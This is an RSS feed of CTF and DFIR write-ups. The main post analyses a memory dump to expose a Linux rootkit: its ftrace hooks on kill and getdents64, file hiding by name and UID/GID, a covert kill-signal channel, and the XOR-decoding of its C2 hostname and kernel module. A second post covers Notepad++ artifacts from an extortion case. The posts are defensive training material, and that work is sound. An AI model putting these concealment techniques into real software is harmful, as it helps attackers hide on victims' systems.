<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[CyberEthical.Me: Hacking for the Security Awareness]]></title><description><![CDATA[Ethical Hacking and Cybersecurity related content. Complete write-ups for CTF challenges and hacking boxes. Learn with me how to grow security awareness and use it for a good cause.]]></description><link>https://blog.cyberethical.me</link><generator>RSS for Node</generator><lastBuildDate>Thu, 16 Apr 2026 07:39:21 GMT</lastBuildDate><atom:link href="https://blog.cyberethical.me/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Driver's Shadow: Unmasking the Kernel Intruder]]></title><description><![CDATA[A critical Linux server began behaving erratically under suspected Volnaya interference, so a full memory snapshot was captured for analysis. Stealthy components embedded in the dump are altering system behavior and hiding their tracks; your task is ...]]></description><link>https://blog.cyberethical.me/htb-business-2025-blackout-drivers-shadow</link><guid isPermaLink="true">https://blog.cyberethical.me/htb-business-2025-blackout-drivers-shadow</guid><category><![CDATA[CTF]]></category><category><![CDATA[htb]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[rootkits]]></category><category><![CDATA[volatility]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Tue, 27 May 2025 13:00:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1748301869679/5ad9d1aa-936c-48aa-88fd-91e81c1e2c6b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>A critical Linux server began behaving erratically under suspected Volnaya interference, so a full memory snapshot was captured for analysis. Stealthy components embedded in the dump are altering system behavior and hiding their tracks; your task is to sift through the snapshot to uncover these concealed elements and extract any hidden payloads.</p>
</blockquote>
<p><strong>Type</strong>: Forensics<br /><strong>Difficulty</strong>: Hard<br /><strong>Authors</strong>: <a target="_blank" href="https://www.hackthebox.com/blog/author/Odysseus%20\(c4n0pus\)">c4n0pus</a><br /><strong>Event</strong>: <a target="_blank" href="https://www.hackthebox.com/events/global-cyber-skills-benchmark-2025">Global Cyber Skills Benchmark CTF 2025: Operation Blackout</a> (<a target="_blank" href="https://ctftime.org/event/2707"><strong>ctftime</strong></a>)</p>
<p>Official write-up:<br />TBA (<em>but probably</em> <a target="_blank" href="https://github.com/hackthebox/business-ctf-2025"><em>here</em></a>)</p>
<h1 id="heading-lessons-learnedtopics">Lessons learned/Topics:</h1>
<ul>
<li><p>volatility Linux symbols generation</p>
</li>
<li><p>ftrace hooks</p>
</li>
<li><p>rootkit concealment and persistence</p>
</li>
</ul>
<h1 id="heading-initial-recon">Initial recon</h1>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<p>Given: <code>mem.elf</code></p>
<pre><code class="lang-plaintext">$ mem.elf (2.170.445.516 bytes)
ELF 64-bit LSB core file, x86-64, version 1 (SYSV)
62760d9d1ae0cc321c0ffa6a41fbfea30e280e51c38643eee0aee371d64ea12d  mem.elf
</code></pre>
<p>As usual with any kind of memory dumps, the tool of choice is <a target="_blank" href="https://github.com/volatilityfoundation/volatility3">Volatility Framework</a>.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">The way I work with <code>volatility</code> is via the Python virtual environment, so before I run any commands, I’m activating it <code>. /opt/volatility3/venv/bin/activate</code>. That way I can simply call <code>volatility</code> instead of <code>python3 /opt/volatility/vol.py</code></div>
</div>

<p>Getting to know with memory dump of what image I’ll be working on:</p>
<pre><code class="lang-plaintext">$ vol -f ../mem.elf banners.Banners                                                       
Linux version 6.1.0-34-amd64 (debian-kernel@lists.debian.org)
(gcc-12 (Debian 12.2.0-14+deb12u1) 12.2.0, GNU ld (GNU Binutils for Debian) 2.40) 
#1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25)
</code></pre>
<p>This is quite a recent kernel, and we haven’t been given a symbols file - it could mean that we may have to prepare a symbols file ourselves. Only one way to verify the hypothesis:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748288571388/058b6c58-c095-4cf3-bff1-d05e36b1395b.png" alt class="image--center mx-auto" /></p>
<p>No symbols, no output. Let’s obtain them then.</p>
<h1 id="heading-generating-intermediate-symbols-file">Generating Intermediate Symbols File</h1>
<details><summary>ISF (Intermediate Symbols File)</summary><div data-type="detailsContent">Structured representation of a program's debug symbol information, typically extracted from compiled binaries. It captures details about data types, structures, function prototypes, and memory layouts in a format that's easier to process or analyse. IFS files are often used in reverse engineering, debugging, or binary analysis workflows to understand how a program operates internally without relying on source code.</div></details>

<p>ISF allows Volatility to</p>
<ul>
<li><p>Understand kernel data structures like tasks, modules, file descriptors, etc.</p>
</li>
<li><p>Match the memory layout from the dump to the correct kernel version and configuration.</p>
</li>
<li><p>Work more efficiently, since the raw debug symbols don’t need to be parsed every time.</p>
</li>
</ul>
<p>First, we have to get hands on the Linux distribution that the memory was dumped from.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748288713820/f45e76a2-56ce-41e8-8b7d-49ba9da8eb02.png" alt class="image--center mx-auto" /></p>
<p>I’m downloading Debian from the official site, installing it in the virtual machine. Now we have to match the same kernel.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748288943944/56ef6c45-5515-4db2-addf-d7a047e46793.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">$ sudo apt install linux-image-6.1.0-34-amd64
$ sudo shutdown -r now
</code></pre>
<p>After reboot, we can verify that we have the correct version of the system.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748289370739/6ec953a0-9a81-48a7-bdec-0acbfa6f599e.png" alt class="image--center mx-auto" /></p>
<p>With that, we can proceed with <code>dwarf2json</code> tool (run on the same system).</p>
<pre><code class="lang-plaintext">$ cd /opt
$ git clone https://github.com/volatilityfoundation/dwarf2json.git
$ sudo apt install golang
$ go build -buildvcs=false
$ cd ~
$ sudo /opt/dwarf2json/dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-6.1.0-34-amd64 \
--system-map /boot/System.map-6.1.0-34-amd64 &gt; Debian12-6.1.0-34-amd64.json
</code></pre>
<p>Copy the JSON file to the system with <code>volatility</code> under <code>volatility3/volatility3/symbols</code>.</p>
<h1 id="heading-harvesting-runtime-artifacts">Harvesting runtime artifacts</h1>
<p><a target="_blank" href="https://blog.cyberethical.me/htb-cyber-apocalypse-forensics-oblique-final">Challenge</a> after challenge, I keep running the same plugins, so I’ve created a useful script that helps me automate these first steps.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> subprocess, os, sys

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    <span class="hljs-keyword">if</span> len(sys.argv) != <span class="hljs-number">2</span>:
        print(<span class="hljs-string">f"Usage: <span class="hljs-subst">{sys.argv[<span class="hljs-number">0</span>]}</span> &lt;memory_image&gt;"</span>)
        sys.exit(<span class="hljs-number">1</span>)

    memory_image = sys.argv[<span class="hljs-number">1</span>]
    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> os.path.exists(memory_image):
        print(<span class="hljs-string">f"Error: Memory image '<span class="hljs-subst">{memory_image}</span>' not found."</span>)
        sys.exit(<span class="hljs-number">1</span>)

    <span class="hljs-comment"># Configuration</span>
    venv_activate = <span class="hljs-string">"/opt/volatility3/venv/bin/activate"</span>
    output_dir = <span class="hljs-string">"./vol"</span>
    os.makedirs(output_dir, exist_ok=<span class="hljs-literal">True</span>)

    plugins = [
        <span class="hljs-string">"linux.bash.Bash"</span>,
        <span class="hljs-string">"linux.elfs.Elfs"</span>,
        <span class="hljs-string">"linux.envars.Envars"</span>,
        <span class="hljs-string">"linux.ip.Link"</span>,
        <span class="hljs-string">"linux.ip.Addr"</span>,
        <span class="hljs-string">"linux.lsof.Lsof"</span>,
        <span class="hljs-string">"linux.malfind.Malfind"</span>, <span class="hljs-comment"># never found anything useful yet, but sounds useful</span>
        <span class="hljs-string">"linux.pagecache.Files"</span>,
        <span class="hljs-string">"linux.psaux.PsAux"</span>,
        <span class="hljs-string">"linux.pslist.PsList"</span>,
        <span class="hljs-string">"linux.psscan.PsScan"</span>, <span class="hljs-comment"># potential hidden processes that are not listed in pslist</span>
        <span class="hljs-string">"linux.pstree.PsTree"</span>,
        <span class="hljs-string">"linux.sockstat.Sockstat"</span>,
        <span class="hljs-string">"linux.lsmod.Lsmod"</span>
    ]

    <span class="hljs-comment"># Construct the bash command to run all plugins</span>
    joined_plugins = <span class="hljs-string">" "</span>.join(plugins)
    bash_command = <span class="hljs-string">f'''
    source "<span class="hljs-subst">{venv_activate}</span>" &amp;&amp; \\
    for plugin in <span class="hljs-subst">{joined_plugins}</span>; do
        echo "[*] Running $plugin"
        vol -f "<span class="hljs-subst">{memory_image}</span>" $plugin &gt; "<span class="hljs-subst">{output_dir}</span>/$(basename $plugin).out"
    done
    deactivate
    '''</span>

    <span class="hljs-comment"># Execute the bash command</span>
    subprocess.run(bash_command, shell=<span class="hljs-literal">True</span>, executable=<span class="hljs-string">'/bin/bash'</span>)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<p>At this point, I’m browsing and grepping through the output files to find some suspicious entries. But to keep this article tidy, let’s just go through the questions (in no particular order).</p>
<h1 id="heading-questions-some">Questions (some)</h1>
<h2 id="heading-what-is-the-name-of-the-backdoor-udev-rule">What is the name of the backdoor udev Rule?</h2>
<details><summary>udev rules</summary><div data-type="detailsContent">A <strong>udev rule</strong> is a configuration directive used by the <strong>udev device manager</strong> on Linux systems to dynamically manage device nodes in the <code>/dev</code> directory. These rules define how the system should handle hardware events, such as assigning device names, setting permissions, or triggering scripts when devices are added or removed. udev rules are typically stored in <code>/etc/udev/rules.d/</code> and are written using specific match and action syntax.</div></details>

<p>In the output of <code>linux.pagecache.Files</code> we can see references to many <code>/usr/lib/udev/rules.d/</code> and among them there is one that is definitely not a standard: <code>99-volnaya.rules</code>. Its existence may potentially mean that the rootkit tries to integrate into the system’s normal device-handling workflow, making its actions blend in with legitimate operations.</p>
<p><strong>Answer</strong>: <code>99-volnaya.rules</code></p>
<h2 id="heading-what-is-the-resolved-ip-of-the-attacker">What is the resolved IP of the attacker?</h2>
<p>When browsing through the <code>linux.sockstat.Sockstat</code> output, a couple of connections stand out:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748291985174/e0413852-263b-4235-98f9-c09fca141044.png" alt class="image--center mx-auto" /></p>
<p><code>bash</code> raised TCP connections should always give a warning.</p>
<p><strong>Answer</strong>: <code>16.171.55.6</code></p>
<h2 id="heading-what-is-the-name-of-the-kernel-module">What is the name of the kernel module?</h2>
<p>Because we already know that rootkit uses the <code>volnaya</code> string we can just search for its occurrences in all <code>volatility</code> outputs.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748292461588/e4bca38d-2058-445d-8d1e-a92e0f86a452.png" alt class="image--center mx-auto" /></p>
<p><strong>Answer</strong>: <code>volnaya_xb127</code></p>
<h2 id="heading-there-is-one-bash-process-that-is-hidden-in-userspace-what-is-its-pid">There is one bash process that is hidden in __<strong>USERSPACE__</strong>, what is its PID?</h2>
<details><summary>userspace</summary><div data-type="detailsContent">Refers to the part of the operating system where regular applications run, as opposed to <strong>kernelspace</strong>, where the OS kernel and its modules operate.</div></details>

<p>There are two indicators of the suspicious <code>bash</code> process present in the <code>volatility</code> outputs.</p>
<ol>
<li><p>In the aforementioned <code>linux.sockstat.Sockstat</code> potential revshells connections originate from one specific <code>bash</code> process.</p>
</li>
<li><p>In the <code>linux.psscan</code> output, we can identify multiple <code>bash</code> processes, but only one is a direct child of <code>systemd</code> <strong>and</strong> spawns an <code>id</code> command.</p>
</li>
</ol>
<p>Answer: <code>2957</code></p>
<h2 id="heading-what-is-the-address-of-x64syskill-x64sysgetdents64-ex-killgetdents64">What is the address of __x64_sys_kill, __x64_sys_getdents64 (ex: kill:getdents64)?</h2>
<h2 id="heading-what-syscalls-are-hooked-with-ftrace-sorted-via-syscall-number-ex-readwriteopen">What <strong>SYSCALLS</strong> are hooked with ftrace, sorted via SYSCALL number (ex: read:write:open)?</h2>
<p>These two will be answered by outputs of two more <code>volatility</code> outputs.</p>
<pre><code class="lang-python">volatility -f mem.elf linux.tracing.ftrace.CheckFtrace &gt; vol/linux.tracing.ftrace.CheckFtrace.out
volatility -f mem.elf linux.check_syscall.Check_syscall &gt; vol/linux.check_syscall.Check_syscall.out
</code></pre>
<p><strong>ftrace</strong> is a kernel-level tracing framework used for debugging and performance profiling. But attackers (or rootkits) can abuse ftrace to hook syscall handlers without modifying the syscall table — making detection harder. So, for example rootkit can intercept a kill signal and perform own code in place of it (can still execute the original syscall making its action very difficult to detect for user). Or can hook to directory listing event and hide its own files before they are printed via <code>ls</code>. <em>Ops, spoilers</em>.</p>
<p>In the output of <code>linux.check_syscall.Check_syscall</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748295182952/cbb58db5-f55a-4022-afcc-d345cf1b3031.png" alt class="image--center mx-auto" /></p>
<p>Addresses of <code>kill</code> and <code>getdents64</code>: <code>0xffffb88b6bf0:0xffffb8b7c770</code> (answer).</p>
<p>And now the output of the second plugin:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748295345402/707f3d3d-8bc2-41ac-9203-0b3e7b5b897e.png" alt class="image--center mx-auto" /></p>
<p>These are all hooks created by the rootkit. Only two of them are syscalls, though.</p>
<p>Answer: <code>kill:getdents64</code></p>
<p><em>Yes, one of the flags was included as an format hint to other question. I wonder how many players got that flag just by typing it because it was shown as example? New CTF solving routing discovered?</em></p>
<h1 id="heading-extracting-rootkit-loader">Extracting rootkit loader</h1>
<p>For the rest of the questions, we have to extract the binaries for both <code>volnaya_usr</code> (rootkit loader) and <code>volnaya_xb127</code> (rootkit kernel module). As long as the binary is cached in the memory, we should be able to dump it with <code>volatility</code>. From the <code>linux.pagecache.Files</code>:</p>
<pre><code class="lang-plaintext">SuperblockAddr    MountPoint  Device   InodeNum   InodeAddr        FileType   InodePages   CachedPages   FileMode     AccessTime                       ModificationTime                 ChangeTime                       FilePath               InodeSize
0x9a097453c800    /           8:1      913940     0x9a0974b68128   REG        107          107           -rwxr-xr-x   2025-05-12 19:20:29.156000 UTC   2025-05-12 19:17:34.102003 UTC   2025-05-12 19:20:12.731680 UTC   /usr/bin/volnaya_usr   437032
</code></pre>
<p>We are lucky and <code>volnaya_usr</code> is cached on 107 pages with inode address <code>0x9a0974b68128</code>. Unfortunately <code>volnaya_xb127</code> is not (0 pages, and 0 inode size) - but we will take care of it soon. For now, dump the <code>volnaya_usr</code>.</p>
<pre><code class="lang-plaintext">vol -f mem.elf linux.pagecache.InodePages --inode 0x9a0974b68128 --dump
</code></pre>
<p>Open it in Ghidra.</p>
<h2 id="heading-what-is-the-xor-key-used-ex-0011aabb">What is the XOR key used (ex: 0011aabb)?</h2>
<p>In the <code>main</code> function, there is a reference to <code>xor_key</code>. When navigated to the <code>.data</code> section select the label of <code>xor_key</code> so the whole memory segment is selected and choose “Copy special..” → “Byte String (No Spaces)".</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748297530042/40fca59f-e811-4499-94d7-e1ee185ede73.png" alt class="image--center mx-auto" /></p>
<p>Answer: <code>881ba50d42a430791ca2d9ce0630f5c9</code></p>
<h2 id="heading-what-is-the-hostname-the-rootkit-connects-to">What is the hostname the rootkit connects to?</h2>
<p>In the same line of <code>main</code> we can see how the hostname is created. We can navigate to the <code>.data</code> section to copy the content of the <code>hostname</code> and decode the hostname rootkit connects to.</p>
<pre><code class="lang-py">hostname = bytes.fromhex(
    <span class="hljs-string">"eb7ac96120c5531232c1b7ad3408c4f8a66dca612cc5491832caadac"</span>
)

xor_key = bytes.fromhex(
    <span class="hljs-string">"881ba50d42a430791ca2d9ce0630f5c9"</span>
)

decoded = bytearray()
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(hostname)):
    decoded.append(hostname[i] ^ xor_key[i % len(xor_key)])

print(decoded.decode(<span class="hljs-string">'utf-8'</span>, errors=<span class="hljs-string">'replace'</span>))
</code></pre>
<p>Answer: <code>callback.cnc2811.volnaya.htb</code></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Bonus: in the <code>init_revshell</code> there is call<code>kill(0x41,local_c)</code>. It is usually used to send a signal to the process. But the thing is the maximum signal number is 64 and here 65 is sent.. Which doesn’t make sense until you recall the rootkit hooks to the kill syscall. This is one of the methods of communication between rootkit modules.</div>
</div>

<h1 id="heading-extracting-rootkit-kernel-module">Extracting rootkit kernel module</h1>
<p>Now the last two questions require looking into the previously unavailable <code>volnaya_xb127</code>. By analysing the code of the loader, especially <code>install_module()</code> function, we can see the following:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748298170445/9eeed9de-0311-4777-b675-f9f3ebf377c7.png" alt class="image--center mx-auto" /></p>
<p><code>syscall</code> is used to call <code>sys_init_module</code> (see <code>linux.check_syscall.Check_syscall</code>, index <code>0xAF=175</code>) on some binary data located under <code>local_18</code>, of size <code>0×666c0</code>, passing some argument. We can see that <code>local_18</code> is a pointer to a <code>deobf()</code> function.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748298394142/c6dd3318-c7a4-4417-84f2-dc76012f7d68.png" alt class="image--center mx-auto" /></p>
<p>That’s definitely a rootkit kernel module binary. Here is the Python version (copy the <code>elf_body</code> and <code>elf_hdr</code> content from the <code>.data</code> sections.</p>
<pre><code class="lang-python">elf_hdr = bytes.fromhex(<span class="hljs-string">"7f4..00"</span>) <span class="hljs-comment"># 64-byte ELF header</span>
elf_body = bytes.fromhex(<span class="hljs-string">"8c..c9"</span>) <span class="hljs-comment"># ELF body</span>

xor_key = bytes.fromhex(<span class="hljs-string">"881ba50d42a430791ca2d9ce0630f5c9"</span>)

<span class="hljs-comment"># Decrypt body</span>
decrypted_body = bytearray()
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(elf_body)):
    decrypted_body.append(elf_body[i] ^ xor_key[i % <span class="hljs-number">16</span>])

<span class="hljs-comment"># Reconstruct full ELF</span>
<span class="hljs-keyword">with</span> open(<span class="hljs-string">"volnaya_xb127"</span>, <span class="hljs-string">"wb"</span>) <span class="hljs-keyword">as</span> f:
    f.write(elf_hdr)
    f.write(decrypted_body)
</code></pre>
<p>Open <code>volnaya_xb127</code> in Ghidra.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748298684415/f46aa40a-13e3-42cf-9645-5a20a3bd5994.png" alt class="image--center mx-auto" /></p>
<p>Here we have a nice listing of all hooks rootkit is setting and functions used to hide its activity.</p>
<h2 id="heading-what-string-must-be-contained-in-a-file-in-order-to-be-hidden">What string must be contained in a file in order to be hidden?</h2>
<p>In each of <code>filldir</code> hooks (that rootkit uses to manipulate directory listing) we can find a filename check. If it contains <code>MAGIC_WORD</code> the file is hidden.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748298890366/1013f115-6336-4676-a667-1c04ce6b3cf3.png" alt class="image--center mx-auto" /></p>
<p>Answer: <code>volnaya</code></p>
<h2 id="heading-what-owner-uid-and-gid-membership-will-make-the-file-hidden-uidgid">What owner UID and GID membership will make the file hidden (UID:GID)?</h2>
<p>Now our focus is moved to the <code>hook_sys_getdents64()</code> function.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748299543269/7b830470-b068-49ab-ac88-0b92ee81d20d.png" alt class="image--center mx-auto" /></p>
<p>By analysing the <code>vfs_fstatat</code> <a target="_blank" href="https://docs.huihoo.com/doxygen/linux/kernel/3.7/fs_2stat_8c.html#a31fb6a6cc4130b5895fa52cca267bd8f">documentation</a>, we can determine that <code>lVar10</code> contains a structure file metadata structure. Then in UID and GID of the file are stored respectively in <code>iVar8</code> and <code>iVar2</code> (through pointer offsetting). Later, those values are compared to the <code>USER_HIDE</code> and <code>GROUP_HIDE</code> which means those last two constants are UID and GID we are looking for.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748300089486/6c5c0310-5831-4a01-ba86-de6f7398b1dd.png" alt class="image--center mx-auto" /></p>
<p>By converting hexadecimals to decimals, we have the answer.</p>
<p>Answer: <code>1821:1992</code></p>
<h1 id="heading-additional-readings">Additional Readings</h1>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<ul>
<li><p><a target="_blank" href="https://blog.cyberethical.me/htb-cyber-apocalypse-forensics-oblique-final">Write-up: Forensics: Oblique Final (HTB CA 2024)</a></p>
</li>
<li><p><a target="_blank" href="https://www.chromium.org/chromium-os/developer-library/reference/linux-constants/signals/">Linux signals</a></p>
</li>
<li><p><a target="_blank" href="https://www.iblue.team/memory-forensics-1/volatility-plugins/build-custom-linux-profile-for-volatility">Build Custom Linux Profile for Volatility</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[HTB Sherlock: Noted]]></title><description><![CDATA[💡
This write-up is a part of the HTB Sherlocks series. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware ana...]]></description><link>https://blog.cyberethical.me/htb-sherlock-noted</link><guid isPermaLink="true">https://blog.cyberethical.me/htb-sherlock-noted</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[forensics]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Mon, 14 Apr 2025 07:00:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1743839238641/9c143ca8-fd27-4192-9a8a-ce2e8abfad67.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">This write-up is a part of the <a target="_blank" href="https://blog.cyberethical.me/series/htb-sherlocks">HTB Sherlocks series</a>. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware analysis. <a target="_self" href="https://blog.cyberethical.me/go-htbapp">Are you ready to start the investigation?</a></div>
</div>

<h1 id="heading-incident-details">Incident Details</h1>
<p><strong>Name</strong>: <a target="_blank" href="https://blog.cyberethical.me/go-htbapp">Noted</a><br /><strong>Category</strong>: DFIR<br /><strong>Difficulty</strong>: Easy (<a target="_blank" href="https://labs.hackthebox.com/achievement/sherlock/555018/585"><em>Solved</em></a>)</p>
<blockquote>
<p>Simon, a developer working at Forela, notified the CERT team about a note that appeared on his desktop. The note claimed that his system had been compromised and that sensitive data from Simon's workstation had been collected. The perpetrators performed data extortion on his workstation and are now threatening to release the data on the dark web unless their demands are met. Simon's workstation contained multiple sensitive files, including planned software projects, internal development plans, and application codebases. The threat intelligence team believes that the threat actor made some mistakes, but they have not found any way to contact the threat actors. The company's stakeholders are insisting that this incident be resolved and all sensitive data be recovered. They demand that under no circumstances should the data be leaked. As our junior security analyst, you have been assigned a specific type of DFIR (Digital Forensics and Incident Response) investigation in this case. The CERT lead, after triaging the workstation, has provided you with only the Notepad++ artifacts, suspecting that the attacker created the extortion note and conducted other activities with hands-on keyboard access. Your duty is to determine how the attack occurred and find a way to contact the threat actors, as they accidentally locked out their own contact information.</p>
</blockquote>
<h1 id="heading-evidences">Evidences</h1>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<blockquote>
<p>All evidence files are marked as readonly right after acquiring and their hash is written down. Read-only attribute does not affect the hash of a file.</p>
</blockquote>
<p>01: ZIP archive file</p>
<pre><code class="lang-plaintext">$ Noted.zip
0f4628bc37d275178158aa108db8231b15435b79d76230a620c046d9129eaef7
</code></pre>
<p>File structure after unzipping:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743797583748/3c61b36c-bade-4306-bf38-8611a670a8fd.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">$ config.xml
85c58374d83d1f47f089ff2fded34958d555c4fa3d2bce3fe50d60865cf05c22
$ session.xml
ebd010709f828e1239e24df5c020e84ba66d3082a523ff399c135b9d2aec96bb
$ LootAndPurge.java@2023-07-24_145332
57177080cac6e0a4ee0f10bc80587b28ac6d2fb38be417711a28b52a7a229523
$ YOU HAVE BEEN HACKED.txt@2023-07-24_150548
3700b7dc69d0f8570485bf8b5a4c4f7f84abcd722dcb7addc609129e418e932e
</code></pre>
<h1 id="heading-analysis">Analysis</h1>
<p>both pastes.io and pastebin.com contain same message.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743797597371/d2be5e69-7528-49ac-b976-63b672c336dc.png" alt class="image--center mx-auto" /></p>
<p>Password protected</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743797613076/b62305c8-5cfc-4e20-a438-5250c7339a17.png" alt class="image--center mx-auto" /></p>
<p>Wow that's quite a lot - is it an address of some kind of cryptocurrency market?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743797617822/06f0f3fe-5330-4803-bdf0-72f6ac152a58.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-questions">Questions</h2>
<ol>
<li>What is the full path of the script used by Simon for AWS operations?</li>
</ol>
<p><code>config.xml</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743797633515/a0ecc807-3362-4c2d-b383-3cc390921af9.png" alt class="image--center mx-auto" /></p>
<ol start="2">
<li>The attacker duplicated some program code and compiled it on the system, knowing that the victim was a software engineer and had all the necessary utilities. They did this to blend into the environment and didn't bring any of their tools. This code gathered sensitive data and prepared it for exfiltration. What is the full path of the program's source file?</li>
</ol>
<p><code>session.xml</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743797654566/0d60a005-6bb4-434b-a069-65b6a3cf18f6.png" alt class="image--center mx-auto" /></p>
<ol start="3">
<li>What's the name of the final archive file containing all the data to be exfiltrated?</li>
</ol>
<p><code>LootAndPurge.java</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743797695377/e804bebb-5a43-41ec-9b99-cdda3b47b07b.png" alt class="image--center mx-auto" /></p>
<ol start="4">
<li>What's the timestamp in UTC when attacker last modified the program source file?</li>
</ol>
<p><code>session.xml</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743797720721/8eb628bc-bed0-4b85-8e92-4d1ef00f7e1d.png" alt class="image--center mx-auto" /></p>
<p><a target="_blank" href="https://community.notepad-plus-plus.org/topic/22662/need-explanation-of-a-few-session-xml-parameters-values/7">Great thread</a> on how to decode those values.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743797729706/13d9f65f-0b2d-4bca-91ff-65176db14731.png" alt class="image--center mx-auto" /></p>
<p>This one is really hard in comparison to other questions :P</p>
<pre><code class="lang-py"><span class="hljs-meta">&gt;&gt;&gt; </span>(<span class="hljs-number">31047188</span> &lt;&lt; <span class="hljs-number">32</span>) | (<span class="hljs-number">-1354503710</span> &amp; <span class="hljs-number">0xFFFFFFFF</span>)
<span class="hljs-number">133346660033227234</span>
</code></pre>
<p>Then use the <a target="_blank" href="https://www.epochconverter.com/ldap">epoch converter</a> to get the right time.</p>
<ol start="5">
<li><p>The attacker wrote a data extortion note after exfiltrating data. What is the crypto wallet address to which attackers demanded payment?</p>
</li>
<li><p>What's the email address of the person to contact for support?</p>
</li>
</ol>
<p>Both answers in the pastebin note.</p>
<h1 id="heading-data-recovery">Data Recovery</h1>
<p>Not needed.</p>
<h1 id="heading-lessons-learned">Lessons Learned</h1>
<ul>
<li>How Notepad++ stores timestamps</li>
</ul>
<h1 id="heading-additional-readings">Additional readings</h1>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<ul>
<li><a target="_blank" href="https://www.nist.gov/privacy-framework/nist-sp-800-61">NIST Computer Security Incident Handling Guide</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[HTB Sherlock: MisCloud]]></title><description><![CDATA[💡
This write-up is a part of the HTB Sherlocks series. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware ana...]]></description><link>https://blog.cyberethical.me/htb-sherlock-miscloud</link><guid isPermaLink="true">https://blog.cyberethical.me/htb-sherlock-miscloud</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[google cloud]]></category><category><![CDATA[DFIR]]></category><category><![CDATA[PCAP]]></category><category><![CDATA[pivoting]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Fri, 11 Apr 2025 09:00:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1744235278972/dfe19686-c7a5-4979-be1f-2b82157ef8bd.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">This write-up is a part of the <a target="_self" href="https://blog.cyberethical.me/series/htb-sherlocks">HTB Sherlocks series</a>. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware analysis. <a target="_self" href="https://blog.cyberethical.me/go-htbapp">Are you ready to start the investigation?</a></div>
</div>

<h1 id="heading-incident-details">Incident Details</h1>
<p>Name: <a target="_blank" href="https://blog.cyberethical.me/go-htbapp">MisCloud</a><br />Category: DFIR<br />Difficulty: Medium (<a target="_blank" href="https://labs.hackthebox.com/achievement/sherlock/555018/759"><em>Solved</em></a>)</p>
